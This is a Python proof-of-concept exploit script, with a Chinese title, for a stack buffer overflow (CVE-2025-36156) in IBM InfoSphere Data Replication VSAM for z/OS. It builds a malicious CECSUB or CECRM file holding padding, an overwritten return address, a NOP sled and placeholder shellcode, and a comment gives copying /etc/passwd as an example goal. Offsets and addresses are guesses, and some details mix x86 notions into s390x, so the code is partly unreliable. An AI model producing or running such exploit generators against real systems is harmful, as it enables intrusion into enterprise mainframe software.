CVE-2025-36156：IBM InfoSphere Data Replication VSAM栈缓冲区溢出漏洞

# CVE-2025-36156 - IBM InfoSphere Data Replication VSAM Stack-based Buffer Overflow PoC # This PoC demonstrates the concept of triggering a stack-based buffer overflow # by crafting a malicious CECSUB or CECRM file with oversized input data. # Target: IBM InfoSphere Data Replication VSAM for z/OS Remote Source 11.4 import struct import sys # Buffer size assumed by the vulnerable application (estimated) # The actual buffer size may vary; adjust based on reverse engineering BUFFER_SIZE = 256 # Offset to overwrite the return address (after buffer + saved RBP) # On z/OS (s390x), the stack frame typically has: # [local buffer][saved r6-r15][back chain]... # We need to calculate the exact offset to the return address OFFSET_TO_RET = BUFFER_SIZE + 8 # Approximate offset # Shellcode placeholder - NOP sled + shellcode # On z/OS s390x architecture: # - Instructions are 4 bytes (or 2 bytes for some) # - System call convention differs from x86 NOP_SLED = b'\x07\x07\x07\x07' * 16 # z/Architecture NOP equivalent (BCR 0,0) # Placeholder shellcode - would need to be replaced with actual # z/OS shellcode to spawn a shell or execute a command # Example: z/OS shellcode to execute "cp /etc/passwd /tmp/pwned" SHELLCODE = b'\x90\x00\x00\x00' # Placeholder instruction # Target return address - points to NOP sled in buffer # This address needs to be adjusted based on actual stack layout TARGET_RET_ADDR = struct.pack('>Q', 0x0000000080000000) # Example address def generate_malicious_file(output_path, file_type='CECSUB'): """ Generate a malicious CECSUB or CECRM file to trigger buffer overflow. Args: output_path: Path to write the malicious file file_type: Type of file to craft ('CECSUB' or 'CECRM') """ payload = b'' # File header (mimicking legitimate CECSUB/CECRM file format) if file_type == 'CECSUB': payload += b'CECSUB' # Magic bytes/identifier else: payload += b'CECRM' # Padding to fill the buffer payload += b'A' * (BUFFER_SIZE - len(payload)) # Overwrite saved registers payload += b'B' * 8 # Saved RBP/frame pointer # Overwrite return address with address pointing to NOP sled payload += TARGET_RET_ADDR # Additional padding payload += b'C' * 64 # NOP sled payload += NOP_SLED # Shellcode payload += SHELLCODE with open(output_path, 'wb') as f: f.write(payload) print(f"[*] Malicious {file_type} file generated: {output_path}") print(f"[*] Payload size: {len(payload)} bytes") print(f"[!] Note: This is a conceptual PoC. Real exploitation requires") print(f" knowledge of the target system's memory layout.") if __name__ == "__main__": file_type = sys.argv[1] if len(sys.argv) > 1 else 'CECSUB' output = sys.argv[2] if len(sys.argv) > 2 else f'malicious_{file_type.lower()}.bin' generate_malicious_file(output, file_type)